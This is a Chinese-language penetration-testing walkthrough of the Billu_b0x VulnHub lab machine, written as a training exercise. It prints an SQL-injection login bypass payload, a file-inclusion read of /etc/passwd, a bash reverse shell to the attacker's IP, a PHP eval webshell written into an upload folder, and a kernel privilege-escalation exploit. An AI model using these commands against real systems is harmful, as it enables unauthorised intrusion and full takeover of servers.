Billu_b0x靶机入侵笔记
1、环境搭建
下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip
下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。
2、信息收集
-
主机发现
使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.110.1/24
192.168.110.132,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.110.1/24
-
端口扫描
使用nmap扫描端口,并做服务识别和深度扫描(加-A参数):nmap -v -A 192.168.110.132
目标开启了22和80端口
-
web端信息收集
网站使用Apache和php搭建
3、漏洞探测
-
尝试SQL注入
一般靶场都是从web端突破
网页提示SQL注入是突破口
使用万能密码
admin' or 'a'='a --
密码随意,发现无法注入,出现js弹框Try again使用sqlmap注入失败。暂时先不fuzz注入,继续寻找其他突破口。
-
目录扫描
使用dirsearch进行目录扫描
发现很多目录好文件挨个访问
-
尝试文件上传
访问发现add.php是一个文件上传页面,无论上传什么文件都提示选择图片上传,哪怕是上传的图片,推测应该是后端没做相应处理,用来干扰的空壳文件
-
文件包含收集信息
继续访问扫到的目录,在in.php发现phpinfo页面,发现开启了allow_url_fopen,那么应该存在文件包含
继续浏览其他目录,发现phpMyAdmin页面和可以文件包含的test.php
尝试包含/etc/passwd文件,GET方法无法访问,使用POST成功下载passwd文件。查看passwd文件,发现1个id 1000的账号ica,ssh连接的用户名可以是ica或root
继续包含文件,为了方便查看使用burp。查看index.php,发现包含一个没扫到的c.php文件
审计index.php
str_replace的作用是将字符串\’ 替换为空,因此构造SQL注入登录payload时,必须含有\’字符串,否则会报错。urldecode的作用是将输入解码。
常用的注入登陆的绕过语句是 'or 1=1 --,而又必须含有\' ,则有'or 1=1 -- \'
登陆账号 'or 1=1 -- \'
登陆密码 'or 1=1 -- \'
先不做测试,接着往下看(后面经过测试确实可以绕过)
接着查看c.php文件,发现一个数据库的账密billu/b0x_billu
尝试使用账号登录phpmyadmin,在数据库中找到一个账号和密码。猜测可能是网站用户的,先记下:biLLu/hEx_it
-
getshell方法一
phpmyadmin的默认的配置文件是:config.inc.php。需要猜测路径,通过URL猜测路径默认在/var/www/phpmy下面,获得账密root/roottoor
使用root用户ssh成功登录,一步到位
-
getshell方法二(需提权)
网页登录,进入主页发现有显示用户和添加用户,且添加用户可上传头像,头像图片保存在/uploaded_images/目录
利用文件包含审计panel.php文件,白名单限制,只能上传图片一类文件。
此外还发现panel.php存在文件包含
从/uploaded_images/下载一张图片,构造图片木马上传
使用panel.php或者test.php进行包含
成功上传
文件包含
执行命令
用bash反弹shell
命令:echo “bash -i >& /dev/tcp/192.168.110.128/10086 0>&1” | bash
需要将命令url编码
文件上传目录uploaded_images为写权限目录,进入该目录,写一个webshell,使用蚁剑连接方便文件操作,执行命令
echo '<?php @eval($_POST['cmd']);?>' >> uploaded_images/shell.php
成功连接
4、权限提升
-
sudo -l 、find提权失败
-
查看内核、系统版本,寻找提权exp
查看系统内核版本,命令
uname -a
和cat /etc/issue
在searchsploit(漏洞数据库)中搜索这个系统版本的漏洞
searchsploit Ubuntu 12.04
将exp拷贝下来,利用蚁剑上传,赋予执行权限,编译gcc 37292.c -o exp
提权成功